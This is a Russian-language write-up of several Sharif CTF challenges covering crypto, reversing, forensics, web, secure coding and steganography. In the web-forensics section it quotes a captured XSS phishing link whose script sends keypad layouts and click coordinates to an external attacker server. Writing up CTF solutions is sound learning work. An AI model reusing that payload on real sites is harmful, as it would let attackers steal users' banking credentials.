sharif ctf5th writeups

Прохождение некоторых заданий Sharif CTF

Rolling hash

Количество очков: 30
Категория: криптография
В качестве задания дается исходный код на Python:

flag="*********"
def RabinKarpRollingHash( str, a, n ):
        result = 0
        l = len(str)
        for i in range(0, l):
                result += ord(str[i]) * a ** (l - i - 1) % n
        print "result = ", result


RabinKarpRollingHash(flag, 256, 10**30)

И результат работы скрипта: 1317748575983887541099.
Код представляет из себя реализацию кольцевого хэша Рабина-Карпа. Для поиска изначального значения я пошел по пути наименьшего сопротивления. Установив изначальным положением флага в ” ” (9 пробелов), я принялся к изучению результата работы функции и выходного результата от каждого из символов в флаге. Изменяя каждый символ, меняется и финальный результат, причём на постоянное значение. Учитывая это, можно менять каждый из символов и сравнивать значение функции с необходимой нам, в результате был написан скрипт для автовосстановления исходного флага.


#!/usr/bin/env python

flag = list("         ")
result = 1317748575983887541099

def RabinKarpRollingHash( data ):
        result = 0
        l = len(data)
        for i in range(0, l):
            result += ord( data[i]) * 256 ** (l - i - 1) % 10**30
        return result

for i in range(0, len(flag)):
    for c in range(1, 255):
        flag[i] = chr(c)
        check = RabinKarpRollingHash("".join(flag))
        if check <= result:
            continue
        else:
            flag[i] = chr(c - 1)
            print check
            break
    print(flag)

Запустив скрипт получаем результат.

Rolling hash flag
Флаг: “Good Luck

Guess the number

Количество очков: 30
Категория: реверсинг
Дан jar файл, для работы понадобится JD-GUI.
Открываем файл в декомпиляторе и видим класс guess, в котором реализовано два метода: XOR и main.
Параметры нужны для отвлечения внимания. Для получения флага достаточно проксорить 2 строки. Воспользуемся онлайн компилятором ideone.


import java.util.*;
import java.lang.*;
import java.io.*;
import java.io.PrintStream;
import java.math.BigInteger;

class Ideone
{
    static String XOR(String _str_one, String _str_two) {
      BigInteger i1 = new BigInteger(_str_one, 16);
      BigInteger i2 = new BigInteger(_str_two, 16);
      BigInteger res = i1.xor(i2);
      String result = res.toString(16);
      return result;
    }
	public static void main (String[] args) throws java.lang.Exception
	{
          String str_one = "4b64ca12ace755516c178f72d05d7061";
          String str_two = "ecd44646cfe5994ebeb35bf922e25dba";
          String answer = XOR(str_one, str_two);
          System.out.println("your flag is: " + answer);
		
	}
}

В результате получаем флаг: “a7b08c546302cc1fd2a4d48bf2bf2ddb

Recover deleted file

Количество очков: 40
Категория: форензик
Для получения флага нужно восстановить удаленные файлы из образа файловой системы.


root@laptop-vm:~/Desktop/$ file disk-image 
disk-image: Linux rev 1.0 ext3 filesystem data, UUID=bc6c2b24-106a-4570-bc4f-ae09abbd7a88

Для восстановления воспользуемся утилитой extundelete


extundelete disk-image --restore-all

В директории RECOVERED_FILES появляется файл flag.


root@laptop-vm:~/Desktop/RECOVERED_FILES$ 
file flag 
flag: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x0bc06819ef5f9b1c94cbffa944b767cbf442c9aa, not stripped

К сожалению у меня нет x86_64 системы для запуска эльфа, зато есть IDA 😉
Загрузив файл в дизассемблер находим интересную строку: aYourFlagls. Перейдя на место, где она используется находятся “мувы” и _puts для вывода информации. Меняем шестнадцатеричное представление аргументов для mov в ASCII и собираем флаг “de6838252f95d3b9e803b28df33b4baa“.
Recover deleted file

Our bank is yours

Количество очков: 200
Категория: веб, форензик

В этом архиве находится дамп трафика. Нужно доказать, что через XSS увели данные.

Гуляя по пакетам с помощью Wireshark, находим письмо Бобу с текстом:


Dear Bob,
Have you seen new offers of Our Bank? They will surprise you:
<a href='http://ctf.sharif.edu:45656/?username=<script>setTimeout("sendmap();",1000);document.body.addEventListener("click",clickdone,false);function sendmap(){var buttons=document.getElementsByClassName("keypadButtonStyle");var keymap="";for(var i=0;i<buttons.length;i%2B%2B)keymap%2B=buttons[i].value;var xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://95.211.102.232:8080/c.php?t=m%26v="%2Bkeymap,false);xmlhttp.send();}function clickdone(e){var xPosition=e.clientX;var yPosition=e.clientY;var xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://95.211.102.232:8080/c.php?t=c%26v="%2BxPosition%2B","%2ByPosition,false);xmlhttp.send();}</script>&password='>http://ctf.sharif.edu</a>
Your friend,
Bob's friend

После перехода по ссылке все наши действия лоируются и отправляются на сервер злоумышленнику. Кнопки с цифрами каждый раз имеют новое положение. Находим в дампе http запрос, в котором передается расположение кнопок:


GET /c.php?t=m&v=%20%204%20%20%20%201%20%20%20%206%20%20%20%203%20%20%20%207%20%20%20%200%20%20%20%208%20%20%20%209%20%20%20%205%20%20%20%202%20%20%20Backspace HTTP/1.1
Host: 95.211.102.232:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://ctf.sharif.edu:45656
Connection: keep-alive

Применив urldecode, получаем расположение кнопок во время ввода логина и пароля Бобом: (4 1 6 3 7 0 8 9 5 2 Backspace). С помощью Firebug меняем свои значения кнопок на Бобовские.
Кнопки Боба
Кроме этого в дампе присутствуют логи о нажатиях на кнопки в виде координат. При помощи паинта я водил курсором по координатам и смотрим находящиеся под ними цифры. Всё просто.
Получаем user:61534 и password:4793162305; войдя с этими данными получаем флаг: “1bcef0620c8505a894fa61d911029c07“.

Secure coding #1

Количество очков: 100
Категория: кодинг

В полученном файле находятся уязвимости, необходимо их исправить.
С устранением уязвимостей скрипт приобретает такой вид:


#include <stdio.h>
#include <string.h>
#define LENGTH 50
#define str(x) # x
#define xstr(x) str(x)

int main()
{
    char str[1000];
    printf("SPLITTER\n");
    printf("--------\n");
    printf("\n");

    str[0] = 0;
    while (1)
    {
        char temp[50 + 1];
        int rc;
        rc = scanf("%" xstr(LENGTH) "s", temp);
        if (strcmp(temp, ".") == 0)
            break;

        if((strlen(str) + strlen(temp)) < 999){
            strncat(str, temp, 1000);
            strncat(str, "\n", sizeof(str));
        }
    }
    printf("\n%s\n", str);
    return 0;
}
What is this

Количество очков: 20
Категория: стеганография

Дан архив с двумя изображениями. Для решения задания можно воспользоваться инструментом Stegsolve (помогает при прохождении многих CTF).
Открываем первое изображение, идем в Меню -> Analyse -> Image Combiner и выбираем второе изображение.

AZADI-TOWER
В режиме XOR видим флаг “AZADI TOWER“.